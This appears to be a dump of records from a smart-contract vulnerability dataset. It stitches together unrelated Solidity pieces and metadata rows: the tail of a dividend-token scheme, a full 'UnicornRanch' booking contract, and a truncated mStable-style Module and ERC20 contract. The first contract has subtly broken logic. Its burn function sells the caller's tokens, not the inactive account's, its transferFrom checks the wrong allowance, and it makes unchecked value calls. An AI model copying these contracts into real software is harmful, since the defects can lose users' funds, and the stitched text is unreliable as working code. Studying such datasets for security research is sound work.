address _customerAddress = msg.sender;
uint256 _dividends = _amountOfDivs;
if (tokenSupply_ > 0) {
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
}
emit onPayDividends(_dividends,_sourceDesc,_customerAddress,now);
}
function burn(address _checkForInactive) public {
address _customerAddress = _checkForInactive;
require(lastupdate_[_customerAddress]!=0 && now >= SafeMath.add(lastupdate_[_customerAddress],timePassive_), "This account cant be nulled!");
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
uint256 _dividends = dividendsOf(_customerAddress);
_dividends += referralBalance_[_customerAddress];
payDivsValue(_dividends,"Burn coins");
delete tokenBalanceLedger_[_customerAddress];
delete referralBalance_[_customerAddress];
delete payoutsTo_[_customerAddress];
delete lastupdate_[_customerAddress];
emit onBurn(_dividends,_customerAddress,msg.sender,now);
}
function takeCapital() public{
require(capitalAmount_>0 && marketingRewardAmount_>0, "No fundz, sorry!");
uint256 capitalAmountTrans=capitalAmount_;
uint256 marketingAmountTrans=marketingRewardAmount_;
uint256 devsAmountTrans=devsRewardAmount_;
capitalAmount_=0;
marketingRewardAmount_=0;
devsRewardAmount_=0;
capital_.call.value(capitalAmountTrans)("");
marketingReward_.call.value(marketingAmountTrans)("");
DevsInterface devContract_ = DevsInterface(devsReward_);
devContract_.payDividends.value(devsAmountTrans)("ethedge source");
emit onTakeCapital(capital_,marketingReward_,devsReward_,capitalAmountTrans,marketingAmountTrans,devsAmountTrans,msg.sender,now);
}
function transferFrom(address payable _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed_[_from][_to];
uint256 _amountOfTokens=_value;
require(tokenBalanceLedger_[_from] >= _amountOfTokens && allowance >= _amountOfTokens);
if ((dividendsOf(_from) + referralBalance_[_from])>0){
withdrawAddr(_from);
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from],_amountOfTokens);
tokenBalanceLedger_[_to] =SafeMath.add(tokenBalanceLedger_[_to],_taxedTokens);
payoutsTo_[_from] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_to] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
allowed_[_from][_to] = SafeMath.sub(allowed_[_from][_to],_amountOfTokens);
emit Transfer(_from, _to, _amountOfTokens);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed_[_owner][_spender];
}
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() external payable{
if (msg.value == 1e10) {
reinvest();
}
else if (msg.value == 2e10) {
withdraw();
}
else if (msg.value == 3e10) {
exit();
}
else {
purchaseTokens(msg.value, address(0));
}
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, address(0));
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address payable _customerAddress = msg.sender;
withdrawAddr(_customerAddress);
}
function withdrawAddr(address payable _fromAddress) onlyStronghands internal {
address payable _customerAddress = _fromAddress;
lastupdate_[_customerAddress] = now;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
if (_amountOfTokens>stakingRequirement) {
lastupdate_[_toAddress] = now;
}
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function refferedBy(address _customerAddress) public view returns (address) {
return refferals_[_customerAddress];
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_-entryFeeCapital_-entryFeeMarketing_-entryFeeDevs_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.div(SafeMath.mul(_incomingEthereum, 100-entryFee_), 100);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement &&
refferals_[_customerAddress] == address(0)) {
refferals_[_customerAddress] = _referredBy;
emit onNewRefferal(_customerAddress,_referredBy, now);
}
if (refferals_[_customerAddress] != address(0) &&
tokenBalanceLedger_[refferals_[_customerAddress]] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
capitalAmount_=SafeMath.add(capitalAmount_,SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeCapital_), 100));
marketingRewardAmount_=SafeMath.add(marketingRewardAmount_,SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeMarketing_), 100));
devsRewardAmount_=SafeMath.add(devsRewardAmount_,SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeDevs_), 100));
if (capitalAmount_>1e17){
takeCapital();
}
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 165,280 | 355 |
fb89fcddeb936def26e6400efd127fbc2e26d3c74fb4d300fc9f9982716f21d0
| 12,469 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x78faea8994efe7fc448e743b7b342e1a96ba3807.sol
| 3,537 | 11,920 |
pragma solidity ^0.4.11;
contract ERC20Token {
function balanceOf(address _who) constant returns (uint balance);
function allowance(address _owner, address _spender) constant returns (uint remaining);
function transferFrom(address _from, address _to, uint _value);
function transfer(address _to, uint _value);
}
contract GroveAPI {
function insert(bytes32 indexName, bytes32 id, int value) public;
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract UnicornRanch {
using SafeMath for uint;
enum VisitType { Spa, Afternoon, Day, Overnight, Week, Extended }
enum VisitState { InProgress, Completed, Repossessed }
struct Visit {
uint unicornCount;
VisitType t;
uint startBlock;
uint expiresBlock;
VisitState state;
uint completedBlock;
uint completedCount;
}
struct VisitMeta {
address owner;
uint index;
}
address public cardboardUnicornTokenAddress;
address public groveAddress;
address public owner = msg.sender;
mapping (address => Visit[]) bookings;
mapping (bytes32 => VisitMeta) public bookingMetadataForKey;
mapping (uint8 => uint) public visitLength;
mapping (uint8 => uint) public visitCost;
uint public visitingUnicorns = 0;
uint public repossessionBlocks = 43200;
uint8 public repossessionBountyPerTen = 2;
uint8 public repossessionBountyPerHundred = 25;
uint public birthBlockThreshold = 43860;
uint8 public birthPerTen = 1;
uint8 public birthPerHundred = 15;
event NewBooking(address indexed _who, uint indexed _index, VisitType indexed _type, uint _unicornCount);
event BookingUpdate(address indexed _who, uint indexed _index, VisitState indexed _newState, uint _unicornCount);
event RepossessionBounty(address indexed _who, uint _unicornCount);
event DonationReceived(address indexed _who, uint _unicornCount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function UnicornRanch() {
visitLength[uint8(VisitType.Spa)] = 720;
visitLength[uint8(VisitType.Afternoon)] = 1440;
visitLength[uint8(VisitType.Day)] = 2880;
visitLength[uint8(VisitType.Overnight)] = 8640;
visitLength[uint8(VisitType.Week)] = 60480;
visitLength[uint8(VisitType.Extended)] = 120960;
visitCost[uint8(VisitType.Spa)] = 0;
visitCost[uint8(VisitType.Afternoon)] = 0;
visitCost[uint8(VisitType.Day)] = 10 szabo;
visitCost[uint8(VisitType.Overnight)] = 30 szabo;
visitCost[uint8(VisitType.Week)] = 50 szabo;
visitCost[uint8(VisitType.Extended)] = 70 szabo;
}
function getBookingCount(address _who) constant returns (uint count) {
return bookings[_who].length;
}
function getBooking(address _who, uint _index) constant returns (uint _unicornCount, VisitType _type, uint _startBlock, uint _expiresBlock, VisitState _state, uint _completedBlock, uint _completedCount) {
Visit storage v = bookings[_who][_index];
return (v.unicornCount, v.t, v.startBlock, v.expiresBlock, v.state, v.completedBlock, v.completedCount);
}
function bookSpaVisit(uint _unicornCount) payable {
return addBooking(VisitType.Spa, _unicornCount);
}
function bookAfternoonVisit(uint _unicornCount) payable {
return addBooking(VisitType.Afternoon, _unicornCount);
}
function bookDayVisit(uint _unicornCount) payable {
return addBooking(VisitType.Day, _unicornCount);
}
function bookOvernightVisit(uint _unicornCount) payable {
return addBooking(VisitType.Overnight, _unicornCount);
}
function bookWeekVisit(uint _unicornCount) payable {
return addBooking(VisitType.Week, _unicornCount);
}
function bookExtendedVisit(uint _unicornCount) payable {
return addBooking(VisitType.Extended, _unicornCount);
}
function addBooking(VisitType _type, uint _unicornCount) payable {
if (_type == VisitType.Afternoon) {
return donateUnicorns(availableBalance(msg.sender));
}
require(msg.value >= visitCost[uint8(_type)].mul(_unicornCount)); // Must be paying proper amount
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); // Transfer the actual asset
visitingUnicorns = visitingUnicorns.add(_unicornCount);
uint expiresBlock = block.number.add(visitLength[uint8(_type)]); // Calculate when this booking will be done
// Add the booking to the ledger
bookings[msg.sender].push(Visit(_unicornCount,
_type,
block.number,
expiresBlock,
VisitState.InProgress,
0,
0));
uint newIndex = bookings[msg.sender].length - 1;
bytes32 uniqueKey = keccak256(msg.sender, newIndex); // Create a unique key for this booking
// Add a reference for that key, to find the metadata about it later
bookingMetadataForKey[uniqueKey] = VisitMeta(msg.sender,
newIndex);
if (groveAddress > 0) {
// Insert into Grove index for applications to query
GroveAPI g = GroveAPI(groveAddress);
g.insert("bookingExpiration", uniqueKey, int(expiresBlock));
}
// Send event about this new booking
NewBooking(msg.sender, newIndex, _type, _unicornCount);
}
function completeBooking(uint _index) {
require(bookings[msg.sender].length > _index); // Sender must have at least this many bookings
Visit storage v = bookings[msg.sender][_index];
require(block.number >= v.expiresBlock); // Expired time must be past
require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed
uint unicornsToReturn = v.unicornCount;
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
// Determine if any births occurred
uint birthCount = 0;
if (SafeMath.sub(block.number, v.startBlock) >= birthBlockThreshold) {
if (v.unicornCount >= 100) {
birthCount = uint(birthPerHundred).mul(v.unicornCount / 100);
} else if (v.unicornCount >= 10) {
birthCount = uint(birthPerTen).mul(v.unicornCount / 10);
}
}
if (birthCount > 0) {
uint availableUnicorns = cardboardUnicorns.balanceOf(address(this)) - visitingUnicorns;
if (availableUnicorns < birthCount) {
birthCount = availableUnicorns;
}
unicornsToReturn = unicornsToReturn.add(birthCount);
}
// Update the status of the Visit
v.state = VisitState.Completed;
v.completedBlock = block.number;
v.completedCount = unicornsToReturn;
bookings[msg.sender][_index] = v;
// Transfer the asset back to the owner
visitingUnicorns = visitingUnicorns.sub(unicornsToReturn);
cardboardUnicorns.transfer(msg.sender, unicornsToReturn);
// Send event about this update
BookingUpdate(msg.sender, _index, VisitState.Completed, unicornsToReturn);
}
function repossessBooking(address _who, uint _index) {
require(bookings[_who].length > _index); // Address in question must have at least this many bookings
Visit storage v = bookings[_who][_index];
require(block.number > v.expiresBlock.add(repossessionBlocks)); // Repossession time must be past
require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed
visitingUnicorns = visitingUnicorns.sub(v.unicornCount);
// Send event about this update
BookingUpdate(_who, _index, VisitState.Repossessed, v.unicornCount);
// Calculate Bounty amount
uint bountyCount = 1;
if (v.unicornCount >= 100) {
bountyCount = uint(repossessionBountyPerHundred).mul(v.unicornCount / 100);
} else if (v.unicornCount >= 10) {
bountyCount = uint(repossessionBountyPerTen).mul(v.unicornCount / 10);
}
// Send bounty to bounty hunter
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transfer(msg.sender, bountyCount);
// Send event about the bounty payout
RepossessionBounty(msg.sender, bountyCount);
// Update the status of the Visit
v.state = VisitState.Repossessed;
v.completedBlock = block.number;
v.completedCount = v.unicornCount - bountyCount;
bookings[_who][_index] = v;
}
function availableBalance(address _who) internal returns (uint) {
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
uint count = cardboardUnicorns.allowance(_who, address(this));
if (count == 0) {
return 0;
}
uint balance = cardboardUnicorns.balanceOf(_who);
if (balance < count) {
return balance;
}
return count;
}
function() payable {
if (cardboardUnicornTokenAddress == 0) {
return;
}
return donateUnicorns(availableBalance(msg.sender));
}
function donateUnicorns(uint _unicornCount) payable {
if (_unicornCount == 0) {
return;
}
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount);
DonationReceived(msg.sender, _unicornCount);
}
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner {
cardboardUnicornTokenAddress = _newTokenAddress;
}
function changeGroveAddress(address _newAddress) onlyOwner {
groveAddress = _newAddress;
}
function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {
visitLength[uint8(VisitType.Spa)] = _spa;
visitLength[uint8(VisitType.Afternoon)] = _afternoon;
visitLength[uint8(VisitType.Day)] = _day;
visitLength[uint8(VisitType.Overnight)] = _overnight;
visitLength[uint8(VisitType.Week)] = _week;
visitLength[uint8(VisitType.Extended)] = _extended;
}
function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {
visitCost[uint8(VisitType.Spa)] = _spa;
visitCost[uint8(VisitType.Afternoon)] = _afternoon;
visitCost[uint8(VisitType.Day)] = _day;
visitCost[uint8(VisitType.Overnight)] = _overnight;
visitCost[uint8(VisitType.Week)] = _week;
visitCost[uint8(VisitType.Extended)] = _extended;
}
function changeRepoSettings(uint _repoBlocks, uint8 _repoPerTen, uint8 _repoPerHundred) onlyOwner {
repossessionBlocks = _repoBlocks;
repossessionBountyPerTen = _repoPerTen;
repossessionBountyPerHundred = _repoPerHundred;
}
function changeBirthSettings(uint _birthBlocks, uint8 _birthPerTen, uint8 _birthPerHundred) onlyOwner {
birthBlockThreshold = _birthBlocks;
birthPerTen = _birthPerTen;
birthPerHundred = _birthPerHundred;
}
function withdraw() onlyOwner {
owner.transfer(this.balance); // Send all ether in this contract to this contract's owner
}
function withdrawForeignTokens(address _tokenContract) onlyOwner {
ERC20Token token = ERC20Token(_tokenContract);
token.transfer(owner, token.balanceOf(address(this))); // Send all owned tokens to this contract's owner
}
}
| 182,849 | 356 |
d4c0cf717295d6a29209ca8c8ad463c208676fd13ac397564dc604718c81ac5b
| 28,356 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Finance/0xa3bed4e1c75d00fa6f4e5e6922db7261b5e9acd2.sol
| 3,759 | 13,173 |
pragma solidity 0.5.16;
contract ModuleKeys {
// Governance
// ===========
// Phases
// keccak256("Governance"); // 2.x
bytes32 internal constant KEY_GOVERNANCE = 0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking"); // 1.2
bytes32 internal constant KEY_STAKING = 0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin"); // 1.0
bytes32 internal constant KEY_PROXY_ADMIN = 0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub"); // 1.2
bytes32 internal constant KEY_ORACLE_HUB = 0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager"); // 1.2
bytes32 internal constant KEY_MANAGER = 0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser"); // 2.x
bytes32 internal constant KEY_RECOLLATERALISER = 0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken"); // 1.1
bytes32 internal constant KEY_META_TOKEN = 0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager"); // 1.0
bytes32 internal constant KEY_SAVINGS_MANAGER = 0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
}
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
contract Module is ModuleKeys {
INexus public nexus;
constructor(address _nexus) internal {
require(_nexus != address(0), "Nexus is zero address");
nexus = INexus(_nexus);
}
modifier onlyGovernor() {
require(msg.sender == _governor(), "Only governor can execute");
_;
}
modifier onlyGovernance() {
require(msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute");
_;
}
modifier onlyProxyAdmin() {
require(msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute");
_;
}
modifier onlyManager() {
require(msg.sender == _manager(), "Only manager can execute");
_;
}
function _governor() internal view returns (address) {
return nexus.governor();
}
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
function _staking() internal view returns (address) {
return nexus.getModule(KEY_STAKING);
}
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
function _metaToken() internal view returns (address) {
return nexus.getModule(KEY_META_TOKEN);
}
function _oracleHub() internal view returns (address) {
return nexus.getModule(KEY_ORACLE_HUB);
}
function _manager() internal view returns (address) {
return nexus.getModule(KEY_MANAGER);
}
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
